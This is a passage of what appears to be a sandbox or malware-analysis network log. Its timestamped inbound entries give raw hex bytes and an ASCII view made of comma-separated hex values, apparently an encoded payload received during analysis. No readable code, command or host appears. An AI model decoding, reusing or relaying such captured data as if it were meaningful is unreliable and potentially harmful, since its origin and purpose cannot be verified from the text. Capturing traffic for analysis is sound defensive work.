2023-04-20 23:05:03 UTC	12109	IN	Data Raw: 34 2c 39 64 2c 31 32 36 2c 63 61 2c 31 30 65 2c 31 32 63 2c 66 65 2c 31 31 63 2c 31 34 61 2c 31 30 39 2c 64 66 2c 37 35 2c 66 36 2c 36 62 2c 33 34 2c 66 66 2c 38 33 2c 64 36 2c 31 34 35 2c 38 32 2c 37 35 2c 37 30 2c 61 35 2c 31 30 31 2c 61 61 2c 31 34 66 2c 38 31 2c 37 66 2c 31 32 63 2c 31 30 64 2c 63 64 2c 63 34 2c 31 32 34 2c 31 34 32 2c 66 36 2c 65 64 2c 37 33 2c 35 64 2c 31 31 36 2c 31 30 37 2c 31 35 31 2c 62 38 2c 31 34 65 2c 62 34 2c 38 64 2c 36 64 2c 62 37 2c 31 30 31 2c 35 35 2c 31 31 35 2c 65 62 2c 35 62 2c 33 64 2c 31 36 37 2c 61 36 2c 39 36 2c 62 36 2c 31 34 64 2c 31 36 31 2c 62 38 2c 31 31 38 2c 66 37 2c 31 33 35 2c 37 64 2c 39 31 2c 66 34 2c 31 33 35 2c 62 38 2c 35 34 2c 66 38 2c 36 61 2c 39 30 2c 62 37 2c 36 61 2c 37 32 2c 35 36 2c 39 36 2c Data Ascii: 4,9d,126,ca,10e,12c,fe,11c,14a,109,df,75,f6,6b,34,ff,83,d6,145,82,75,70,a5,101,aa,14f,81,7f,12c,10d,cd,c4,124,142,f6,ed,73,5d,116,107,151,b8,14e,b4,8d,6d,b7,101,55,115,eb,5b,3d,167,a6,96,b6,14d,161,b8,118,f7,135,7d,91,f4,135,b8,54,f8,6a,90,b7,6a,72,56,96,
2023-04-20 23:05:03 UTC	12125	IN	Data Raw: 2c 31 35 38 2c 31 35 63 2c 31 30 33 2c 35 61 2c 31 30 32 2c 37 35 2c 31 31 38 2c 66 33 2c 38 37 2c 31 33 64 2c 64 39 2c 61 34 2c 64 34 2c 65 61 2c 61 64 2c 65 37 2c 35 31 2c 31 32 61 2c 31 31 39 2c 61 64 2c 37 38 2c 65 64 2c 31 34 30 2c 62 32 2c 38 62 2c 31 32 35 2c 61 65 2c 61 39 2c 31 36 62 2c 62 30 2c 37 36 2c 33 64 2c 31 33 35 2c 38 32 2c 64 61 2c 35 63 2c 31 32 64 2c 31 35 63 2c 31 34 30 2c 36 33 2c 65 34 2c 37 62 2c 65 62 2c 31 31 34 2c 63 32 2c 31 34 66 2c 65 35 2c 38 66 2c 64 64 2c 63 38 2c 64 31 2c 31 35 66 2c 31 36 39 2c 31 32 32 2c 31 33 66 2c 65 35 2c 39 61 2c 31 31 64 2c 64 64 2c 31 34 66 2c 31 34 61 2c 31 36 31 2c 36 39 2c 35 35 2c 31 33 65 2c 36 62 2c 34 65 2c 37 63 2c 31 31 35 2c 31 30 36 2c 37 38 2c 36 39 2c 34 35 2c 39 64 2c 31 30 31 2c Data Ascii: ,158,15c,103,5a,102,75,118,f3,87,13d,d9,a4,d4,ea,ad,e7,51,12a,119,ad,78,ed,140,b2,8b,125,ae,a9,16b,b0,76,3d,135,82,da,5c,12d,15c,140,63,e4,7b,eb,114,c2,14f,e5,8f,dd,c8,d1,15f,169,122,13f,e5,9a,11d,dd,14f,14a,161,69,55,13e,6b,4e,7c,115,106,78,69,45,9d,101,
2023-04-20 23:05:03 UTC	12141	IN	Data Raw: 61 2c 65 31 2c 35 61 2c 63 37 2c 37 35 2c 63 63 2c 65 62 2c 31 31 37 2c 65 33 2c 34 34 2c 38 36 2c 38 35 2c 37 30 2c 36 37 2c 39 37 2c 36 38 2c 37 32 2c 65 37 2c 61 38 2c 31 35 63 2c 36 38 2c 31 30 62 2c 31 30 37 2c 66 34 2c 65 34 2c 39 35 2c 62 61 2c 62 31 2c 64 61 2c 62 30 2c 37 62 2c 64 39 2c 39 36 2c 33 34 2c 38 64 2c 31 34 36 2c 39 39 2c 31 34 63 2c 36 34 2c 33 30 2c 39 61 2c 37 33 2c 62 36 2c 66 39 2c 36 66 2c 31 34 37 2c 64 36 2c 31 30 30 2c 31 30 33 2c 31 35 36 2c 31 34 31 2c 31 36 63 2c 64 64 2c 31 34 35 2c 37 34 2c 66 65 2c 65 65 2c 39 63 2c 66 33 2c 61 63 2c 31 33 33 2c 64 33 2c 66 65 2c 63 62 2c 62 36 2c 34 62 2c 39 30 2c 31 32 66 2c 39 35 2c 31 34 39 2c 65 62 2c 39 31 2c 39 38 2c 31 32 39 2c 36 35 2c 31 31 39 2c 36 37 2c 31 30 39 2c 31 34 66 Data Ascii: a,e1,5a,c7,75,cc,eb,117,e3,44,86,85,70,67,97,68,72,e7,a8,15c,68,10b,107,f4,e4,95,ba,b1,da,b0,7b,d9,96,34,8d,146,99,14c,64,30,9a,73,b6,f9,6f,147,d6,100,103,156,141,16c,dd,145,74,fe,ee,9c,f3,ac,133,d3,fe,cb,b6,4b,90,12f,95,149,eb,91,98,129,65,119,67,109,14f
2023-04-20 23:05:03 UTC	12157	IN	Data Raw: 2c 61 65 2c 64 39 2c 31 33 38 2c 65 37 2c 31 30 65 2c 39 35 2c 64 30 2c 39 35 2c 31 34 62 2c 66 32 2c 63 66 2c 65 63 2c 66 65 2c 61 64 2c 61 65 2c 31 30 64 2c 63 61 2c 66 32 2c 39 35 2c 34 63 2c 31 33 64 2c 62 62 2c 61 34 2c 63 61 2c 64 65 2c 64 32 2c 63 61 2c 35 61 2c 33 36 2c 65 35 2c 31 31 64 2c 38 37 2c 37 30 2c 61 31 2c 63 38 2c 31 31 38 2c 35 61 2c 64 34 2c 62 30 2c 31 31 36 2c 61 37 2c 63 34 2c 36 30 2c 61 61 2c 31 31 61 2c 63 66 2c 31 31 65 2c 61 35 2c 66 64 2c 38 61 2c 31 33 35 2c 38 61 2c 65 63 2c 36 63 2c 31 32 31 2c 61 37 2c 31 33 33 2c 39 65 2c 64 39 2c 64 66 2c 65 30 2c 37 66 2c 66 64 2c 31 34 32 2c 31 33 61 2c 31 30 32 2c 62 30 2c 38 35 2c 31 30 33 2c 62 36 2c 31 33 35 2c 31 36 64 2c 31 33 34 2c 31 31 62 2c 63 64 2c 63 61 2c 31 30 63 2c 63 Data Ascii: ,ae,d9,138,e7,10e,95,d0,95,14b,f2,cf,ec,fe,ad,ae,10d,ca,f2,95,4c,13d,bb,a4,ca,de,d2,ca,5a,36,e5,11d,87,70,a1,c8,118,5a,d4,b0,116,a7,c4,60,aa,11a,cf,11e,a5,fd,8a,135,8a,ec,6c,121,a7,133,9e,d9,df,e0,7f,fd,142,13a,102,b0,85,103,b6,135,16d,134,11b,cd,ca,10c,c
2023-04-20 23:05:03 UTC	12173	IN	Data Raw: 2c 31 33 32 2c 31 33 63 2c 31 31 37 2c 31 34 65 2c 37 63 2c 31 30 64 2c 31 32 37 2c 31 33 36 2c 36 66 2c 61 37 2c 31 31 35 2c 63 66 2c 36 64 2c 31 32 39 2c 39 35 2c 31 30 65 2c 61 66 2c 39 65 2c 31 33 35 2c 36 61 2c 66 66 2c 34 63 2c 63 30 2c 37 31 2c 39 34 2c 62 30 2c 31 31 30 2c 31 36 64 2c 39 39 2c 34 61 2c 35 64 2c 37 31 2c 37 33 2c 39 39 2c 65 31 2c 31 31 65 2c 31 33 65 2c 31 36 38 2c 39 65 2c 31 34 32 2c 62 65 2c 61 36 2c 31 30 31 2c 66 62 2c 31 31 62 2c 31 33 32 2c 65 32 2c 39 63 2c 34 66 2c 31 34 33 2c 61 61 2c 66 62 2c 37 37 2c 38 31 2c 31 30 62 2c 36 38 2c 66 61 2c 36 32 2c 31 32 64 2c 39 65 2c 36 38 2c 65 39 2c 62 37 2c 31 30 38 2c 35 30 2c 31 31 38 2c 36 34 2c 39 30 2c 64 33 2c 63 38 2c 31 31 66 2c 65 35 2c 31 33 66 2c 39 38 2c 31 35 33 2c 37 Data Ascii: ,132,13c,117,14e,7c,10d,127,136,6f,a7,115,cf,6d,129,95,10e,af,9e,135,6a,ff,4c,c0,71,94,b0,110,16d,99,4a,5d,71,73,99,e1,11e,13e,168,9e,142,be,a6,101,fb,11b,132,e2,9c,4f,143,aa,fb,77,81,10b,68,fa,62,12d,9e,68,e9,b7,108,50,118,64,90,d3,c8,11f,e5,13f,98,153,7
2023-04-20 23:05:03 UTC	12189	IN	Data Raw: 39 2c 61 34 2c 64 63 2c 31 34 66 2c 38 64 2c 38 62 2c 31 30 62 2c 39 65 2c 31 34 31 2c 36 63 2c 61 65 2c 64 65 2c 66 32 2c 38 61 2c 31 32 63 2c 38 61 2c 62 36 2c 31 36 64 2c 66 31 2c 31 30 33 2c 61 33 2c 31 32 65 2c 66 63 2c 31 36 38 2c 39 37 2c 31 31 36 2c 31 34 65 2c 31 34 32 2c 61 30 2c 65 61 2c 64 62 2c 36 39 2c 65 64 2c 65 64 2c 31 33 66 2c 35 63 2c 31 35 30 2c 31 34 37 2c 65 66 2c 63 30 2c 65 63 2c 31 34 34 2c 61 38 2c 65 63 2c 38 62 2c 62 39 2c 38 39 2c 34 38 2c 61 35 2c 62 65 2c 31 30 38 2c 31 30 34 2c 62 39 2c 39 31 2c 36 37 2c 31 31 35 2c 36 33 2c 31 30 39 2c 35 37 2c 31 35 34 2c 31 35 38 2c 31 31 31 2c 31 30 62 2c 31 30 61 2c 64 32 2c 65 64 2c 65 66 2c 64 63 2c 31 36 32 2c 31 32 30 2c 31 34 63 2c 31 30 36 2c 31 32 63 2c 31 31 62 2c 31 30 62 2c Data Ascii: 9,a4,dc,14f,8d,8b,10b,9e,141,6c,ae,de,f2,8a,12c,8a,b6,16d,f1,103,a3,12e,fc,168,97,116,14e,142,a0,ea,db,69,ed,ed,13f,5c,150,147,ef,c0,ec,144,a8,ec,8b,b9,89,48,a5,be,108,104,b9,91,67,115,63,109,57,154,158,111,10b,10a,d2,ed,ef,dc,162,120,14c,106,12c,11b,10b,
2023-04-20 23:05:03 UTC	12205	IN	Data Raw: 2c 65 30 2c 61 34 2c 61 33 2c 37 61 2c 64 61 2c 37 39 2c 31 30 36 2c 65 32 2c 31 31 31 2c 35 37 2c 31 30 32 2c 36 65 2c 65 66 2c 34 61 2c 62 64 2c 61 31 2c 31 32 39 2c 31 31 66 2c 38 34 2c 31 34 35 2c 31 32 35 2c 35 62 2c 31 31 33 2c 63 30 2c 64 33 2c 37 32 2c 31 33 62 2c 39 61 2c 31 35 37 2c 31 33 39 2c 34 38 2c 66 36 2c 31 32 33 2c 39 38 2c 64 36 2c 36 64 2c 31 33 37 2c 66 63 2c 64 63 2c 64 61 2c 61 66 2c 36 64 2c 31 34 35 2c 36 39 2c 31 31 35 2c 34 64 2c 63 65 2c 38 31 2c 31 32 61 2c 64 64 2c 61 61 2c 31 36 63 2c 31 33 39 2c 37 33 2c 61 36 2c 62 30 2c 33 62 2c 35 34 2c 31 32 34 2c 31 35 35 2c 31 33 62 2c 62 30 2c 31 32 64 2c 31 35 31 2c 65 63 2c 31 37 34 2c 63 30 2c 64 32 2c 31 35 35 2c 31 30 66 2c 62 33 2c 65 63 2c 31 31 35 2c 31 32 38 2c 31 32 39 2c Data Ascii: ,e0,a4,a3,7a,da,79,106,e2,111,57,102,6e,ef,4a,bd,a1,129,11f,84,145,125,5b,113,c0,d3,72,13b,9a,157,139,48,f6,123,98,d6,6d,137,fc,dc,da,af,6d,145,69,115,4d,ce,81,12a,dd,aa,16c,139,73,a6,b0,3b,54,124,155,13b,b0,12d,151,ec,174,c0,d2,155,10f,b3,ec,115,128,129,
2023-04-20 23:05:03 UTC	12221	IN	Data Raw: 33 35 2c 31 34 62 2c 39 34 2c 37 61 2c 66 33 2c 65 38 2c 37 36 2c 63 66 2c 38 61 2c 31 34 63 2c 63 61 2c 37 34 2c 31 33 39 2c 66 62 2c 31 32 63 2c 31 32 65 2c 31 32 64 2c 38 62 2c 31 34 35 2c 31 33 64 2c 35 30 2c 31 33 64 2c 31 32 31 2c 31 32 38 2c 35 33 2c 61 36 2c 61 34 2c 31 32 37 2c 31 33 61 2c 66 32 2c 31 35 66 2c 34 37 2c 61 62 2c 31 30 63 2c 31 31 62 2c 31 35 37 2c 36 64 2c 62 61 2c 31 33 30 2c 38 31 2c 38 38 2c 64 65 2c 31 34 34 2c 65 63 2c 36 30 2c 31 31 63 2c 61 66 2c 61 64 2c 37 62 2c 63 31 2c 31 35 63 2c 63 35 2c 35 37 2c 65 63 2c 36 37 2c 66 33 2c 31 33 66 2c 31 31 34 2c 63 32 2c 66 32 2c 63 61 2c 31 32 36 2c 37 39 2c 38 32 2c 64 30 2c 39 36 2c 31 30 64 2c 62 30 2c 31 36 38 2c 31 32 32 2c 62 36 2c 31 33 66 2c 37 64 2c 31 30 31 2c 61 65 2c 35 Data Ascii: 35,14b,94,7a,f3,e8,76,cf,8a,14c,ca,74,139,fb,12c,12e,12d,8b,145,13d,50,13d,121,128,53,a6,a4,127,13a,f2,15f,47,ab,10c,11b,157,6d,ba,130,81,88,de,144,ec,60,11c,af,ad,7b,c1,15c,c5,57,ec,67,f3,13f,114,c2,f2,ca,126,79,82,d0,96,10d,b0,168,122,b6,13f,7d,101,ae,5
2023-04-20 23:05:04 UTC	12237	IN	Data Raw: 35 32 2c 39 65 2c 66 33 2c 62 32 2c 31 32 31 2c 31 31 32 2c 61 35 2c 37 32 2c 31 30 63 2c 31 34 31 2c 31 32 39 2c 61 64 2c 31 35 36 2c 62 35 2c 61 39 2c 39 35 2c 31 31 37 2c 38 63 2c 31 34 35 2c 61 32 2c 65 63 2c 35 33 2c 38 34 2c 39 64 2c 66 61 2c 31 30 63 2c 61 36 2c 63 33 2c 38 65 2c 31 33 30 2c 31 30 34 2c 31 32 32 2c 39 39 2c 38 61 2c 31 30 66 2c 64 65 2c 31 30 30 2c 63 33 2c 33 30 2c 31 34 36 2c 33 64 2c 31 30 37 2c 63 39 2c 31 33 30 2c 31 33 63 2c 61 38 2c 31 31 30 2c 31 32 32 2c 37 37 2c 31 30 31 2c 64 66 2c 31 32 65 2c 66 66 2c 63 61 2c 61 64 2c 65 63 2c 62 66 2c 38 62 2c 39 39 2c 31 32 34 2c 31 31 38 2c 31 30 65 2c 31 30 62 2c 66 63 2c 65 35 2c 31 33 32 2c 66 34 2c 31 37 31 2c 64 62 2c 36 30 2c 66 36 2c 62 66 2c 66 37 2c 38 63 2c 31 30 62 2c 36 Data Ascii: 52,9e,f3,b2,121,112,a5,72,10c,141,129,ad,156,b5,a9,95,117,8c,145,a2,ec,53,84,9d,fa,10c,a6,c3,8e,130,104,122,99,8a,10f,de,100,c3,30,146,3d,107,c9,130,13c,a8,110,122,77,101,df,12e,ff,ca,ad,ec,bf,8b,99,124,118,10e,10b,fc,e5,132,f4,171,db,60,f6,bf,f7,8c,10b,6
2023-04-20 23:05:04 UTC	12253	IN	Data Raw: 35 2c 31 30 64 2c 31 33 33 2c 37 62 2c 31 33 35 2c 66 37 2c 36 36 2c 61 30 2c 64 64 2c 36 66 2c 66 64 2c 31 31 64 2c 66 63 2c 31 32 38 2c 66 37 2c 64 33 2c 31 36 35 2c 35 62 2c 31 33 34 2c 65 34 2c 37 65 2c 38 61 2c 36 35 2c 31 31 63 2c 31 34 31 2c 31 34 63 2c 64 32 2c 35 32 2c 66 36 2c 31 30 66 2c 31 32 33 2c 31 31 34 2c 36 36 2c 31 31 65 2c 63 65 2c 31 30 64 2c 62 63 2c 31 30 66 2c 35 65 2c 31 32 35 2c 39 31 2c 39 36 2c 33 63 2c 31 30 65 2c 31 30 65 2c 34 32 2c 61 34 2c 31 33 64 2c 37 33 2c 66 39 2c 37 62 2c 65 62 2c 31 30 32 2c 62 63 2c 31 32 64 2c 63 61 2c 36 37 2c 31 31 66 2c 38 31 2c 31 30 33 2c 35 61 2c 31 33 33 2c 63 37 2c 31 35 66 2c 63 38 2c 31 33 30 2c 31 32 61 2c 65 65 2c 31 34 62 2c 66 64 2c 31 31 63 2c 63 61 2c 31 36 32 2c 37 66 2c 64 66 2c Data Ascii: 5,10d,133,7b,135,f7,66,a0,dd,6f,fd,11d,fc,128,f7,d3,165,5b,134,e4,7e,8a,65,11c,141,14c,d2,52,f6,10f,123,114,66,11e,ce,10d,bc,10f,5e,125,91,96,3c,10e,10e,42,a4,13d,73,f9,7b,eb,102,bc,12d,ca,67,11f,81,103,5a,133,c7,15f,c8,130,12a,ee,14b,fd,11c,ca,162,7f,df,
2023-04-20 23:05:04 UTC	12269	IN	Data Raw: 33 2c 66 36 2c 38 37 2c 66 35 2c 61 64 2c 64 66 2c 31 33 64 2c 63 38 2c 31 33 61 2c 38 64 2c 66 63 2c 61 66 2c 65 65 2c 61 38 2c 61 66 2c 62 38 2c 66 61 2c 38 61 2c 31 33 66 2c 66 34 2c 31 31 39 2c 63 36 2c 31 33 63 2c 31 34 34 2c 63 65 2c 65 62 2c 66 33 2c 65 65 2c 31 32 62 2c 62 63 2c 31 30 31 2c 63 36 2c 31 34 34 2c 31 34 32 2c 31 34 61 2c 31 31 63 2c 31 30 35 2c 31 31 33 2c 31 31 39 2c 31 30 34 2c 36 32 2c 65 32 2c 63 64 2c 37 33 2c 61 34 2c 63 62 2c 31 36 35 2c 66 30 2c 31 34 31 2c 65 61 2c 31 30 30 2c 64 30 2c 64 38 2c 64 30 2c 31 32 38 2c 65 66 2c 65 33 2c 66 62 2c 37 61 2c 39 61 2c 37 66 2c 31 31 63 2c 35 34 2c 61 65 2c 66 63 2c 31 30 32 2c 31 34 38 2c 61 64 2c 36 64 2c 31 31 35 2c 31 34 30 2c 37 30 2c 65 61 2c 31 31 66 2c 31 31 33 2c 66 62 2c 31 Data Ascii: 3,f6,87,f5,ad,df,13d,c8,13a,8d,fc,af,ee,a8,af,b8,fa,8a,13f,f4,119,c6,13c,144,ce,eb,f3,ee,12b,bc,101,c6,144,142,14a,11c,105,113,119,104,62,e2,cd,73,a4,cb,165,f0,141,ea,100,d0,d8,d0,128,ef,e3,fb,7a,9a,7f,11c,54,ae,fc,102,148,ad,6d,115,140,70,ea,11f,113,fb,1
2023-04-20 23:05:04 UTC	12285	IN	Data Raw: 65 34 2c 37 35 2c 31 32 33 2c 31 35 62 2c 31 31 37 2c 39 36 2c 34 64 2c 31 33 37 2c 64 61 2c 31 34 61 2c 31 32 34 2c 63 63 2c 31 30 37 2c 31 32 65 2c 63 33 2c 35 38 2c 64 63 2c 66 62 2c 31 32 33 2c 31 30 39 2c 31 30 38 2c 31 31 64 2c 31 33 62 2c 38 37 2c 39 62 2c 31 34 31 2c 31 30 37 2c 31 34 39 2c 31 30 39 2c 34 64 2c 62 64 2c 62 66 2c 31 31 61 2c 31 34 33 2c 31 31 31 2c 31 30 36 2c 31 31 63 2c 37 38 2c 65 38 2c 66 64 2c 38 66 2c 38 31 2c 31 32 61 2c 38 38 2c 31 31 62 2c 61 37 2c 35 33 2c 65 36 2c 36 66 2c 37 37 2c 31 30 33 2c 31 31 38 2c 31 33 32 2c 31 32 30 2c 64 61 2c 31 32 31 2c 31 32 37 2c 36 63 2c 37 65 2c 31 33 66 2c 31 31 34 2c 31 32 33 2c 64 63 2c 65 66 2c 31 31 33 2c 34 64 2c 62 64 2c 31 33 62 2c 31 35 61 2c 66 32 2c 61 38 2c 31 33 39 2c 66 37 Data Ascii: e4,75,123,15b,117,96,4d,137,da,14a,124,cc,107,12e,c3,58,dc,fb,123,109,108,11d,13b,87,9b,141,107,149,109,4d,bd,bf,11a,143,111,106,11c,78,e8,fd,8f,81,12a,88,11b,a7,53,e6,6f,77,103,118,132,120,da,121,127,6c,7e,13f,114,123,dc,ef,113,4d,bd,13b,15a,f2,a8,139,f7
2023-04-20 23:05:04 UTC	12301	IN	Data Raw: 33 2c 37 37 2c 31 34 39 2c 31 31 63 2c 66 62 2c 31 33 34 2c 31 30 30 2c 66 35 2c 31 33 38 2c 31 34 37 2c 31 33 35 2c 31 33 64 2c 39 32 2c 36 37 2c 31 33 31 2c 38 33 2c 31 31 32 2c 39 64 2c 61 62 2c 65 30 2c 31 31 37 2c 31 35 31 2c 66 35 2c 38 31 2c 31 33 66 2c 39 32 2c 31 32 36 2c 38 66 2c 63 31 2c 31 36 32 2c 39 32 2c 37 39 2c 31 31 61 2c 31 34 66 2c 31 31 38 2c 39 34 2c 62 63 2c 37 36 2c 39 35 2c 31 33 32 2c 64 31 2c 36 66 2c 66 65 2c 66 62 2c 65 31 2c 62 63 2c 31 31 30 2c 31 37 30 2c 31 36 33 2c 63 38 2c 64 66 2c 39 62 2c 34 31 2c 31 34 31 2c 65 66 2c 37 39 2c 62 62 2c 66 62 2c 31 33 37 2c 31 30 64 2c 62 31 2c 65 31 2c 64 61 2c 36 65 2c 31 34 64 2c 31 35 61 2c 66 38 2c 35 63 2c 65 36 2c 31 31 32 2c 61 63 2c 39 30 2c 39 64 2c 31 33 39 2c 31 36 36 2c 31 Data Ascii: 3,77,149,11c,fb,134,100,f5,138,147,135,13d,92,67,131,83,112,9d,ab,e0,117,151,f5,81,13f,92,126,8f,c1,162,92,79,11a,14f,118,94,bc,76,95,132,d1,6f,fe,fb,e1,bc,110,170,163,c8,df,9b,41,141,ef,79,bb,fb,137,10d,b1,e1,da,6e,14d,15a,f8,5c,e6,112,ac,90,9d,139,166,1
2023-04-20 23:05:04 UTC	12317	IN	Data Raw: 66 2c 31 33 36 2c 66 64 2c 31 36 34 2c 61 33 2c 31 33 33 2c 31 32 65 2c 65 31 2c 31 30 63 2c 31 32 31 2c 31 31 35 2c 63 39 2c 64 37 2c 31 33 35 2c 31 31 30 2c 31 30 64 2c 61 63 2c 31 34 63 2c 65 34 2c 31 31 64 2c 61 63 2c 65 31 2c 63 61 2c 31 30 61 2c 31 30 36 2c 62 65 2c 38 31 2c 64 37 2c 64 36 2c 63 39 2c 31 34 61 2c 37 35 2c 31 30 32 2c 61 65 2c 64 30 2c 31 32 33 2c 31 33 33 2c 63 39 2c 31 33 33 2c 36 39 2c 61 64 2c 66 61 2c 66 65 2c 37 36 2c 31 34 32 2c 31 32 31 2c 31 36 35 2c 34 39 2c 64 38 2c 39 38 2c 66 30 2c 31 31 33 2c 66 64 2c 64 66 2c 39 39 2c 31 31 62 2c 36 65 2c 65 38 2c 61 30 2c 31 34 35 2c 39 61 2c 31 35 36 2c 31 33 64 2c 31 32 38 2c 66 65 2c 31 34 64 2c 31 30 34 2c 65 36 2c 31 34 35 2c 38 33 2c 64 65 2c 34 39 2c 31 30 65 2c 36 62 2c 34 65 Data Ascii: f,136,fd,164,a3,133,12e,e1,10c,121,115,c9,d7,135,110,10d,ac,14c,e4,11d,ac,e1,ca,10a,106,be,81,d7,d6,c9,14a,75,102,ae,d0,123,133,c9,133,69,ad,fa,fe,76,142,121,165,49,d8,98,f0,113,fd,df,99,11b,6e,e8,a0,145,9a,156,13d,128,fe,14d,104,e6,145,83,de,49,10e,6b,4e
2023-04-20 23:05:04 UTC	12333	IN	Data Raw: 31 30 63 2c 62 32 2c 35 62 2c 63 30 2c 66 64 2c 66 64 2c 66 36 2c 64 31 2c 37 30 2c 31 36 33 2c 31 33 61 2c 31 32 38 2c 63 31 2c 64 66 2c 33 63 2c 39 65 2c 64 39 2c 37 31 2c 31 35 30 2c 62 32 2c 31 31 36 2c 31 30 64 2c 31 30 31 2c 31 34 39 2c 38 35 2c 64 38 2c 31 33 64 2c 63 39 2c 65 36 2c 39 31 2c 37 64 2c 38 30 2c 31 30 32 2c 62 33 2c 66 31 2c 31 33 34 2c 31 32 39 2c 37 38 2c 61 38 2c 66 66 2c 66 63 2c 31 30 38 2c 63 62 2c 31 35 32 2c 63 31 2c 31 34 31 2c 66 34 2c 62 66 2c 31 31 66 2c 63 63 2c 31 32 35 2c 31 35 33 2c 63 39 2c 31 32 34 2c 31 34 63 2c 61 31 2c 64 32 2c 64 37 2c 36 34 2c 64 65 2c 64 39 2c 65 66 2c 63 66 2c 31 36 31 2c 63 37 2c 31 33 34 2c 63 66 2c 37 34 2c 66 61 2c 31 35 65 2c 64 37 2c 35 63 2c 66 36 2c 37 64 2c 65 31 2c 64 62 2c 65 38 2c Data Ascii: 10c,b2,5b,c0,fd,fd,f6,d1,70,163,13a,128,c1,df,3c,9e,d9,71,150,b2,116,10d,101,149,85,d8,13d,c9,e6,91,7d,80,102,b3,f1,134,129,78,a8,ff,fc,108,cb,152,c1,141,f4,bf,11f,cc,125,153,c9,124,14c,a1,d2,d7,64,de,d9,ef,cf,161,c7,134,cf,74,fa,15e,d7,5c,f6,7d,e1,db,e8,
2023-04-20 23:05:04 UTC	12349	IN	Data Raw: 39 62 2c 31 34 32 2c 31 35 36 2c 31 31 34 2c 31 32 65 2c 63 63 2c 31 33 64 2c 65 38 2c 31 31 33 2c 35 39 2c 31 34 33 2c 31 30 37 2c 34 61 2c 34 36 2c 63 63 2c 65 63 2c 64 37 2c 31 31 36 2c 62 66 2c 31 31 35 2c 31 36 35 2c 34 37 2c 62 37 2c 39 36 2c 66 32 2c 38 64 2c 61 34 2c 31 32 64 2c 38 39 2c 64 63 2c 31 31 31 2c 38 30 2c 31 32 30 2c 31 34 64 2c 31 31 33 2c 31 31 35 2c 63 65 2c 62 30 2c 66 32 2c 35 62 2c 64 33 2c 31 33 34 2c 65 64 2c 64 61 2c 31 32 65 2c 38 34 2c 38 65 2c 66 64 2c 31 30 38 2c 31 33 32 2c 31 34 37 2c 31 30 66 2c 31 34 38 2c 38 36 2c 31 32 65 2c 65 66 2c 39 61 2c 66 34 2c 63 33 2c 62 39 2c 31 32 39 2c 62 62 2c 35 35 2c 31 30 35 2c 37 31 2c 31 35 61 2c 63 35 2c 31 30 61 2c 65 31 2c 31 34 63 2c 31 36 33 2c 31 30 33 2c 35 37 2c 37 64 2c 31 Data Ascii: 9b,142,156,114,12e,cc,13d,e8,113,59,143,107,4a,46,cc,ec,d7,116,bf,115,165,47,b7,96,f2,8d,a4,12d,89,dc,111,80,120,14d,113,115,ce,b0,f2,5b,d3,134,ed,da,12e,84,8e,fd,108,132,147,10f,148,86,12e,ef,9a,f4,c3,b9,129,bb,55,105,71,15a,c5,10a,e1,14c,163,103,57,7d,1
2023-04-20 23:05:04 UTC	12365	IN	Data Raw: 34 33 2c 31 31 36 2c 35 64 2c 31 30 33 2c 62 66 2c 65 30 2c 35 34 2c 31 32 37 2c 64 63 2c 31 30 36 2c 37 37 2c 63 33 2c 37 35 2c 31 32 66 2c 31 35 66 2c 31 32 37 2c 31 35 31 2c 31 33 33 2c 31 33 30 2c 63 37 2c 63 63 2c 31 31 66 2c 62 61 2c 31 32 36 2c 31 33 38 2c 31 31 36 2c 34 61 2c 31 32 62 2c 65 32 2c 31 31 61 2c 63 66 2c 37 32 2c 31 36 39 2c 31 31 36 2c 31 34 35 2c 36 34 2c 31 35 66 2c 31 31 30 2c 64 34 2c 31 32 62 2c 64 66 2c 37 31 2c 64 36 2c 35 30 2c 31 31 37 2c 66 64 2c 37 64 2c 64 34 2c 37 32 2c 31 31 61 2c 35 39 2c 66 33 2c 38 32 2c 66 65 2c 36 61 2c 66 61 2c 31 32 36 2c 31 32 38 2c 35 35 2c 31 33 64 2c 61 64 2c 37 35 2c 31 33 34 2c 66 64 2c 31 35 39 2c 31 31 36 2c 31 33 65 2c 31 30 63 2c 31 35 66 2c 31 31 32 2c 35 31 2c 65 65 2c 31 33 63 2c 63 Data Ascii: 43,116,5d,103,bf,e0,54,127,dc,106,77,c3,75,12f,15f,127,151,133,130,c7,cc,11f,ba,126,138,116,4a,12b,e2,11a,cf,72,169,116,145,64,15f,110,d4,12b,df,71,d6,50,117,fd,7d,d4,72,11a,59,f3,82,fe,6a,fa,126,128,55,13d,ad,75,134,fd,159,116,13e,10c,15f,112,51,ee,13c,c
2023-04-20 23:05:04 UTC	12381	IN	Data Raw: 35 2c 31 35 34 2c 31 31 34 2c 37 36 2c 31 35 36 2c 31 32 66 2c 61 35 2c 36 32 2c 31 31 38 2c 31 36 66 2c 39 39 2c 36 32 2c 66 39 2c 31 33 66 2c 66 62 2c 37 66 2c 31 33 62 2c 61 61 2c 39 38 2c 31 35 32 2c 31 30 66 2c 31 34 39 2c 64 63 2c 31 30 39 2c 31 37 32 2c 31 30 63 2c 31 34 63 2c 36 39 2c 31 30 39 2c 37 36 2c 39 33 2c 31 34 65 2c 31 34 66 2c 31 31 39 2c 31 31 62 2c 31 32 33 2c 31 33 63 2c 66 63 2c 31 30 30 2c 37 34 2c 31 33 31 2c 31 36 34 2c 38 36 2c 35 32 2c 65 32 2c 31 33 66 2c 66 36 2c 31 33 62 2c 31 33 35 2c 31 35 66 2c 31 31 65 2c 39 33 2c 39 32 2c 35 38 2c 31 31 38 2c 38 64 2c 31 32 66 2c 31 34 38 2c 31 34 63 2c 34 66 2c 31 31 65 2c 38 36 2c 31 30 65 2c 61 37 2c 62 62 2c 31 34 37 2c 31 34 39 2c 35 31 2c 39 63 2c 65 37 2c 31 30 33 2c 66 36 2c 37 Data Ascii: 5,154,114,76,156,12f,a5,62,118,16f,99,62,f9,13f,fb,7f,13b,aa,98,152,10f,149,dc,109,172,10c,14c,69,109,76,93,14e,14f,119,11b,123,13c,fc,100,74,131,164,86,52,e2,13f,f6,13b,135,15f,11e,93,92,58,118,8d,12f,148,14c,4f,11e,86,10e,a7,bb,147,149,51,9c,e7,103,f6,7
